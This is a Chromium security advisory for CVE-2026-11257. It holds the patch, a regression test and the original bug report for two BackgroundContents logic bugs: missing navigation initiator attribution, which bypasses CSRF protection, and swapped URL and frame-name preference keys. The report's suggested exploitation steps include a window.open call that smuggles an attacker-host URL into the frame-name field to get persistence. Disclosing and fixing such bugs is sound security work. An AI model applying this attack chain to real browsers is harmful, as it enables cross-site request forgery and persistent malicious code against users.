CVE-2026-11257
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fchrome/browser/background/background_contents_service_unittest.cc |
modified | |
ifchrome/browser/ui/browser.cc |
modified |
Files Changed
chrome/browser/background/background_contents.hchrome/browser/background/background_contents_service.ccchrome/browser/background/background_contents_service_unittest.ccchrome/browser/ui/browser.cc
Patch
From c40f2f5fbcdd35cafee060a770d28d3f6f36ddfe Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <apaseltiner@chromium.org>
Date: Thu, 30 Apr 2026 13:49:06 -0700
Subject: [PATCH] Fix BackgroundContents logic bugs
This CL addresses two security-relevant logic bugs in
BackgroundContents:
1. Fixes missing initiator attribution in
Browser::CreateBackgroundContents by using LoadURLWithParams and
setting is_renderer_initiated = true.
2. Fixes a preference key-swap bug in BackgroundContentsService where
URL and frame name keys were transposed during loading.
Fixed: 499051898
Change-Id: I8654f39f57565d051af268fc9c9f69e530ba6668
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7808247
Reviewed-by: Eshwar Stalin <estalin@chromium.org>
Commit-Queue: Andrew Paseltiner <apaseltiner@chromium.org>
Reviewed-by: Devlin Cronin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1623443}
---
diff --git a/chrome/browser/background/background_contents.h b/chrome/browser/background/background_contents.h
index ea31d7f..9ce731ec 100644
--- a/chrome/browser/background/background_contents.h
+++ b/chrome/browser/background/background_contents.h
@@ -97,6 +97,8 @@
base::TerminationStatus status) override;
void PrimaryPageChanged(content::Page& page) override;
+ const GURL& GetInitialURLForTesting() const { return initial_url_; }
+
protected:
// Exposed for testing.
BackgroundContents();
diff --git a/chrome/browser/background/background_contents_service.cc b/chrome/browser/background/background_contents_service.cc
index 3a2e3f9..15014ddaa 100644
--- a/chrome/browser/background/background_contents_service.cc
+++ b/chrome/browser/background/background_contents_service.cc
@@ -511,8 +511,8 @@
if (!dict)
return;
- const std::string* maybe_frame_name = dict->FindString(kUrlKey);
- const std::string* maybe_url = dict->FindString(kFrameNameKey);
+ const std::string* maybe_url = dict->FindString(kUrlKey);
+ const std::string* maybe_frame_name = dict->FindString(kFrameNameKey);
std::string frame_name = maybe_frame_name ? *maybe_frame_name : std::string();
std::string url = maybe_url ? *maybe_url : std::string();
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index eb1052c..ee7d3e5 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -7,6 +7,7 @@
#include <memory>
#include <string>
+#include "base/command_line.h"
#include "base/functional/callback.h"
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
@@ -16,6 +17,7 @@
#include "build/build_config.h"
#include "chrome/browser/background/background_contents.h"
#include "chrome/browser/background/background_contents_service_factory.h"
+#include "chrome/browser/extensions/test_extension_system.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/common/extensions/extension_test_util.h"
#include "chrome/common/pref_names.h"
@@ -23,6 +25,7 @@
#include "chrome/test/base/testing_profile.h"
#include "chrome/test/base/testing_profile_manager.h"
#include "components/prefs/pref_service.h"
+#include "components/prefs/scoped_user_pref_update.h"
#include "content/public/test/browser_task_environment.h"
#include "extensions/common/extension.h"
#include "testing/gtest/include/gtest/gtest.h"
@@ -81,6 +84,12 @@
TestingBrowserProcess::GetGlobal()->SetUpGlobalFeaturesForTesting(
/*profile_manager=*/true);
profile_ = profile_manager_->CreateTestingProfile("default");
+
+ extensions::TestExtensionSystem* system =
+ static_cast<extensions::TestExtensionSystem*>(
+ extensions::ExtensionSystem::Get(profile_));
+ system->CreateExtensionService(base::CommandLine::ForCurrentProcess(),
+ base::FilePath(), false);
}
void TearDown() override {
@@ -244,3 +253,30 @@
// No crash.
}
+
+// Test that ensures that background contents are correctly restored from
+// preferences, specifically checking that the URL and frame name are not
+// swapped. Regression test for crbug.com/499051898.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
+ BackgroundContentsService service(profile_);
+
+ // Manually set up the preference.
+ const std::string appid = "appid";
+ const GURL expected_url("http://www.google.com/test");
+
+ {
+ ScopedDictPrefUpdate update(profile_->GetPrefs(),
+ prefs::kRegisteredBackgroundContents);
+ base::DictValue dict;
+ dict.Set("url", expected_url.spec());
+ dict.Set("name", "test_frame");
+ update->Set(appid, std::move(dict));
+ }
+
+ // Load the background contents for the extension.
+ service.LoadBackgroundContentsForExtension(appid);
+
+ BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+ ASSERT_TRUE(contents);
+ EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
+}
diff --git a/chrome/browser/ui/browser.cc b/chrome/browser/ui/browser.cc
index 754657a..82bcb80 100644
--- a/chrome/browser/ui/browser.cc
+++ b/chrome/browser/ui/browser.cc
@@ -3733,9 +3733,16 @@
// When a separate process is used, the original renderer cannot access the
// new window later, thus we need to navigate the window now.
- contents->web_contents()->GetController().LoadURL(
- target_url, content::Referrer(), ui::PAGE_TRANSITION_LINK,
- std::string()); // No extra headers.
+ content::NavigationController::LoadURLParams params(target_url);
+ params.is_renderer_initiated = true;
+ if (opener) {
+ params.initiator_origin = opener->GetLastCommittedOrigin();
+ params.initiator_process_id = opener->GetProcess()->GetDeprecatedID();
+ } else {
+ params.initiator_origin = url::Origin::Create(opener_url);
+ }
+ params.source_site_instance = source_site_instance;
+ contents->web_contents()->GetController().LoadURLWithParams(params);
return contents;
}
Regression Test / PoC
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index eb1052c..ee7d3e5 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -7,6 +7,7 @@
#include <memory>
#include <string>
+#include "base/command_line.h"
#include "base/functional/callback.h"
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
@@ -16,6 +17,7 @@
#include "build/build_config.h"
#include "chrome/browser/background/background_contents.h"
#include "chrome/browser/background/background_contents_service_factory.h"
+#include "chrome/browser/extensions/test_extension_system.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/common/extensions/extension_test_util.h"
#include "chrome/common/pref_names.h"
@@ -23,6 +25,7 @@
#include "chrome/test/base/testing_profile.h"
#include "chrome/test/base/testing_profile_manager.h"
#include "components/prefs/pref_service.h"
+#include "components/prefs/scoped_user_pref_update.h"
#include "content/public/test/browser_task_environment.h"
#include "extensions/common/extension.h"
#include "testing/gtest/include/gtest/gtest.h"
@@ -81,6 +84,12 @@
TestingBrowserProcess::GetGlobal()->SetUpGlobalFeaturesForTesting(
/*profile_manager=*/true);
profile_ = profile_manager_->CreateTestingProfile("default");
+
+ extensions::TestExtensionSystem* system =
+ static_cast<extensions::TestExtensionSystem*>(
+ extensions::ExtensionSystem::Get(profile_));
+ system->CreateExtensionService(base::CommandLine::ForCurrentProcess(),
+ base::FilePath(), false);
}
void TearDown() override {
@@ -244,3 +253,30 @@
// No crash.
}
+
+// Test that ensures that background contents are correctly restored from
+// preferences, specifically checking that the URL and frame name are not
+// swapped. Regression test for crbug.com/499051898.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
+ BackgroundContentsService service(profile_);
+
+ // Manually set up the preference.
+ const std::string appid = "appid";
+ const GURL expected_url("http://www.google.com/test");
+
+ {
+ ScopedDictPrefUpdate update(profile_->GetPrefs(),
+ prefs::kRegisteredBackgroundContents);
+ base::DictValue dict;
+ dict.Set("url", expected_url.spec());
+ dict.Set("name", "test_frame");
+ update->Set(appid, std::move(dict));
+ }
+
+ // Load the background contents for the extension.
+ service.LoadBackgroundContentsForExtension(appid);
+
+ BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+ ASSERT_TRUE(contents);
+ EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
+}
Original Bug Report
CSRF bypass and persistence via BackgroundContentsService logic bugs
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: A compromised renderer belonging to a hosted app can trigger a browser-initiated navigation when creating background contents, bypassing Fetch Metadata CSRF protections. Furthermore, a logic error in preferences loading swaps the URL and frame name keys, allowing the attacker to persist a malicious URL that executes silently on browser restart.
Affected files:
chrome/browser/ui/browser.ccchrome/browser/background/background_contents_service.ccchrome/browser/background/background_contents.cc
Estimated timestamp from git blame: 2022-08-17
Summary
There are two security-relevant logic bugs in the handling of BackgroundContents for hosted apps. First, navigations triggered during the creation of an isolated background content lack proper initiator attribution, treating renderer-initiated navigations as browser-initiated. Second, a bug in the persistence layer swaps the URL and frame name when reloading background contents from disk.
Combined with a compromised renderer, an attacker can bypass Fetch Metadata CSRF mitigations and achieve persistence for a malicious origin under the identity of a trusted hosted app.
Bug 1: Missing Initiator Attribution in CreateBackgroundContents
When a hosted app with the background permission and allow_js_access: false creates a background window via window.open(), the browser isolates the content in a new SiteInstance and initiates a navigation to the renderer-supplied URL:
// chrome/browser/ui/browser.cc:3811
contents->web_contents()->GetController().LoadURL(
target_url, content::Referrer(), ui::PAGE_TRANSITION_LINK,
std::string());
This uses the 4-argument LoadURL signature, which internally constructs a default LoadURLParams object. By default, is_renderer_initiated is false and initiator_origin is nullopt. As a result, the navigation is treated as browser-initiated. The network service will set the Sec-Fetch-Site header to none instead of cross-site, allowing a compromised renderer to bypass Fetch Metadata CSRF protections on any target origin.
Bug 2: Persistence Logic Bug in BackgroundContentsService
BackgroundContentsService persists background content information to the kRegisteredBackgroundContents preference on disk so it can be restored on browser restart. When saving, it correctly stores the URL under kUrlKey (“url”) and the frame name under kFrameNameKey (“name”).
However, the logic for reading these values back in LoadBackgroundContentsFromDictionary is flawed:
// chrome/browser/background/background_contents_service.cc:510-511
const std::string* maybe_frame_name = dict->FindString(kUrlKey);
const std::string* maybe_url = dict->FindString(kFrameNameKey);
The keys are swapped. An attacker can set the frame_name parameter of the mojom::FrameHost.CreateNewWindow IPC to a malicious URL. This URL is stored in the kFrameNameKey preference and, due to the swap bug, is loaded as the background content’s URL upon browser restart.
Potential Exploitation Steps
(Note: These are suggested steps based on static analysis; our tooling has not executed a live proof-of-concept).
- Precondition: The user has a hosted app installed with
backgroundpermission andallow_js_access: falsein its manifest. The attacker achieves RCE in the renderer process for this app. - Trigger Bug: The compromised renderer executes a window creation request, equivalent to
window.open("https://bank.com/transfer", "https://attacker.com/malware.html"). - CSRF Bypass: The browser intercepts the window creation and routes it to
Browser::CreateBackgroundContents. It immediately initiates a navigation tohttps://bank.com/transfer. Becauseis_renderer_initiateddefaults tofalse, the request bypasses Fetch Metadata CSRF protections. - Save Malicious State: The background contents finish navigating. The browser saves the state to preferences, storing the frame name (
https://attacker.com/malware.html) under the “name” key. - Achieve Persistence: The user eventually restarts Chrome. During startup, the browser loads the preferences. The key-swap bug reads the “name” key and assigns it to the URL variable. The browser silently creates a background contents pointing to
https://attacker.com/malware.html. The attacker has achieved persistence.
Suggested Fix
- Fix Initiator Attribution: In
Browser::CreateBackgroundContents, replace the 4-argumentLoadURLcall withLoadURLWithParams. Explicitly populate theLoadURLParamsobject, settingis_renderer_initiated = true, and supplying the appropriateinitiator_originandinitiator_process_idcorresponding to the opener frame. - Fix Key Swap: In
BackgroundContentsService::LoadBackgroundContentsFromDictionary, assigndict->FindString(kUrlKey)tomaybe_urlanddict->FindString(kFrameNameKey)tomaybe_frame_name.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.